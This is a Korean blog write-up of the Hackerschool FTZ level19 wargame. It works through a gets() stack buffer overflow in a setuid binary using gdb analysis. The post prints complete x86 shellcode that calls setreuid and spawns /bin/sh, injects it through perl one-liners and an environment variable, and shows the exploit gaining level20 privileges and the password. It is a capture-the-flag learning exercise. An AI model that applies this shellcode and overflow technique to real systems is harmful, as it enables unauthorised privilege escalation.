FTZ_level19
[level19@ftz level19]$ bash2 [level19@ftz level19]$ cat hint main() { char buf[20]; gets(buf); printf("%s\n",buf); }
|
bash2 띄우고~ hint를 보겠습니다.
level18 문제 보다가 이걸 보니 참 좋네요ㅋㅋㅋ
너무 간단한 BOF문제네요 자세히 보면 setreuid 함수가 없는게 약간의 문제인 것 같네요
하지만 권한을 살펴보면 당연히 setuid가 걸려있습니다
[level19@ftz level19]$ ls -l attackme -rwsr-x--- 1 level20 level19 13615 3월 8 2003 attackme |
이럴땐 간단하게, setuid + bash셸을 실행하는 셸코드를 작성하면 됩니다.
셸코드 작성에 대해 궁금하신 분은 ‘셸코드 만드는법’을 봐주세요
System Hacking 카테고리 첫번째 글입니다ㅎㅎ
gdb를 이용해 분석하고 메모리 구조를 그려보겠습니다~
(gdb) disas main Dump of assembler code for function main: 0x08048440 <main+0>: push %ebp 0x08048441 <main+1>: mov %esp,%ebp 0x08048443 <main+3>: sub $0x28,%esp 0x08048446 <main+6>: sub $0xc,%esp 0x08048449 <main+9>: lea 0xffffffd8(%ebp),%eax 0x0804844c <main+12>: push %eax 0x0804844d <main+13>: call 0x80482f4 <gets> 0x08048452 <main+18>: add $0x10,%esp 0x08048455 <main+21>: sub $0x8,%esp 0x08048458 <main+24>: lea 0xffffffd8(%ebp),%eax 0x0804845b <main+27>: push %eax 0x0804845c <main+28>: push $0x80484d8 0x08048461 <main+33>: call 0x8048324 <printf> 0x08048466 <main+38>: add $0x10,%esp 0x08048469 <main+41>: leave 0x0804846a <main+42>: ret |
RET [4] |
SFP [4] |
dummy [20] |
buf [20] |
main+3을보면 40바이트의 메모리를 확보하는게 보이네요
40바이트 + 4바이트 (SFP부분) -> 셸코드를 쓸 수 있는 부분이 되겠네요
쓸 수 있는 메모리가 적을 때는 환경변수를 이용하는게 효율적입니다
제가 만든 셸코드는 41바이트 이므로.. 넉넉하진 않지만 일단 시도해보겠습니다ㅎㅎ
공격을 시작하기 전에, buf의 시작 주소를 찾아보겠습니다!!
(gdb) b * main+18 Breakpoint 1 at 0x8048452 (gdb) r Starting program: /home/level19/tmp/attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x08048452 in main () (gdb) x/40x $esp 0xbfffdcc0: 0xbfffdcd0 0x42130a14 0xbfffdce8 0x08048421 0xbfffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdce0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdcf0: 0x4200af00 0x42130a14 0xbfffdd18 0x42015574 0xbfffdd00: 0x00000001 0xbfffdd44 0xbfffdd4c 0x4001582c 0xbfffdd10: 0x00000001 0x08048340 0x00000000 0x08048361 0xbfffdd20: 0x08048440 0x00000001 0xbfffdd44 0x080482bc |
buf의 시작 주소는 0xbfffdcd0 이네요
필요한 정보는 다 얻었으니 공격을 시작해보겠습니다.
[level19@ftz level19]$ while [ 1 ]; do (perl -e 'print "\x90"x3,"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\xd0\xdc\xff\xbf"';cat) | ./attackme; done 1육1????????F??1??h//shh/bin??S???? ?????? 세그멘테이션 오류 1육1????????F??1??h//shh/bin??S???? ?????? 잘못된 명령어 1육1????????F??1??h//shh/bin??S???? ?????? 세그멘테이션 오류 1육1????????F??1??h//shh/bin??S???? ?????? …생략… |
저번처럼 충분한 시도를 하지않아 실패한걸로 착각하지 않게.. 많은 시도를 했지만 실패했습니다ㅠㅠ
아마도 gdb상에서 나타나는 메모리와 실제 메모리가 나는 오차를 nop으로 충분히 줄여줘야 하는데 셸코드의 크기가 커졌으므로, nop을 3개밖에 넣지 못했기 때문에 실패한것 같습니다ㅠㅠ
어쩔 수 없이 환경변수로 뚫어보겠습니다.
setreuid함수가 추가된 셸코드를 환경변수로 띄우고, 주소를 잡아내는 소스를 코딩해보겠습니다.
[level19@ftz tmp]$ export ORANG=`perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` [level19@ftz tmp]$ echo $ORANG 1육1????????F??1??h//shh/bin??S???? ??
|
nop을 200개나 넣어주었습니다!!ㅎㅎ 환경변수에 제대로 올라간 것 같군요
주소를 찾아내겠습니다.
[level19@ftz tmp]$ cat getenv.c int main(void) { printf("ORANG's Addr -> 0x%x\n", getenv("ORANG")); } [level19@ftz tmp]$ gcc getenv.c -o getenv [level19@ftz tmp]$ ./getenv ORANG's Addr -> 0xbffffe41 |
0xbffffe41에 있네요!! 다시 공격해보겠습니다
[level19@ftz level19]$ (perl -e 'print "A"x44,"\x51\xfe\xff\xbf"';cat) | ./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ???? id uid=3100(level20) gid=3099(level19) groups=3099(level19) my-pass TERM environment variable not set. Level20 Password is "we are just regular guys".
|
오차를 더 줄이기위해 0xbffffe51로 공격했습니다ㅎㅎ
역시 환경변수를 이용하면 쉽고 깔끔하네요!!
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ 문제풀이 최종본 pdf by ORANG (3) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level20 -> clear ) + 포맷스트링버그의 이해 by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level18 -> level19 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level17 -> level18 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level16 -> level17 ) by ORANG (0) | 2014.10.20 |